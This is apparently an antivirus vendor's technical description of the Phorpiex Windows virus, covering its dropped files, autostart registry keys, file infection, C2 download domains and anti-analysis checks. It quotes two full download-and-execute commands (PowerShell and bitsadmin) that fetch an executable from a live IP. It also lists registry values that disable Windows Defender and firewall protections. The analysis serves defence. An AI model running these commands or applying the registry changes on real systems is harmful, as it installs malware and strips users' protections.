Virus.Win32.PHORPIEX.AA

This Virus arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It infects certain file types by inserting code in the said files.

It terminates itself if it detects it is being run in a virtual environment.

Arrival Details

This Virus arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Virus drops the following copies of itself into the affected system:

• {Drive}:\__\DriveMgr.exe
• %Windows%\{Random numbers}\svchost.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It drops the following files:

• {Drive}:\autorun.inf (Used as persistence for dropped copy in the removable drive)
• {Drive}:\.lnk (Executes dropped copy in the removable drive)
• %Application Data%\winsvcs.txt

(Note: %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Virus adds the following registry entries to enable its automatic execution at every system startup:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
Microsoft Service Driver = %Windows%\{Random numbers}\svchost.exe

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Microsoft Service Driver = %Windows%\{Random numbers}\svchost.exe

Other System Modifications

This Virus deletes the following files:

• {Malware file path and name}:Zone.Identifier
• Files in removable drives with the following extensions:
  • .lnk
  • .vbs
  • .bat
  • .js
  • .scr
  • .com
  • .jse
  • .cmd
  • .pif
  • .jar
  • .dll
  • .vbe
  • .inf

File Infection

This Virus infects files with the following file extensions by inserting code in the said files:

• .exe files in removable and remote drives, excluding files related to itself

Download Routine

This Virus connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}.{BLOCKED}.16.27/
• http://{BLOCKED}x.top/
• http://{BLOCKED}x.ws/
• http://{BLOCKED}aegeahrh.[ru|su|to|top]/
• http://{BLOCKED}idjidghh.[ru|su|to|top]/
• http://{BLOCKED}oufuhfhu.[ru|su|to|top]/
• http://{BLOCKED}efoahfoh.[ru|su|to|top]/
• http://{BLOCKED}dhafiehf.[ru|su|to|top]/
• http://{BLOCKED}uhuedhhf.[ru|su|to|top]/
• http://{BLOCKED}fahefheh.[ru|su|to|top]/
• http://{BLOCKED}jegohgut.[ru|su|to|top]/
• http://{BLOCKED}finefing.[ru|su|to|top]/
• http://{BLOCKED}ehgaefgz.[ru|su|to|top]/
• http://{BLOCKED}efiefnin.[ru|su|to|top]/
• http://{BLOCKED}ehagugeh.[ru|su|to|top]/
• http://{BLOCKED}ejfoefok.[ru|su|to|top]/
• http://{BLOCKED}hefihfhg.[ru|su|to|top]/
• http://{BLOCKED}huheufhg.[ru|su|to|top]/
• http://{BLOCKED}ihfihegi.[ru|su|to|top]/
• http://{BLOCKED}egfuaehh.[ru|su|to|top]/
• http://{BLOCKED}fueugeug.[ru|su|to|top]/
• http://{BLOCKED}ididhiei.[ru|su|to|top]/
• http://{BLOCKED}rizrizzf.[ru|su|to|top]/

It saves the files it downloads using the following names:

• %User Temp%\{Random numbers}.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Virus terminates itself if it detects it is being run in a virtual environment.

It does the following:

• It sets the following registry entries to bypass security measures:
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
    • {Malware file path and name}=%Windows%\{Random numbers}\svchost.exe:*:Microsoft Service Driver
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
    • DisableAntiSpyware=1
  • HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
    • DisableBehaviorMonitoring=1
    • DisableOnAccessProtection=1
    • DisableScanOnRealtimeEnable=1
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center and HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc
    • AntiVirusOverride=1
    • UpdatesOverride=1
    • FirewallOverride=1
    • AntiVirusDisableNotify=1
    • UpdatesDisableNotify=1
    • AutoUpdateDisableNotify=1
    • FirewallDisableNotify=1
• It attacks the network through sending the following commands in vulnerable VNC servers:
  • "cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://88.218.16.27/{Counter}','%temp%\50399340.exe');Start-Process '%temp%\50399340.exe'"
  • "cmd.exe /c bitsadmin /transfer hello /download /priority high http://88.218.16.27/{Counter} %temp%\69302084.exe&start %temp%\69302084.exe"
• It attacks the network by brute-forcing vulnerable VNC servers queried through randomizing IP addresses and excluding addresses starting with 127, 172, and 192.
• It infects files and marks them with a .zero section name.

It does not proceed to its malicious routine if it detects that it is being debugged.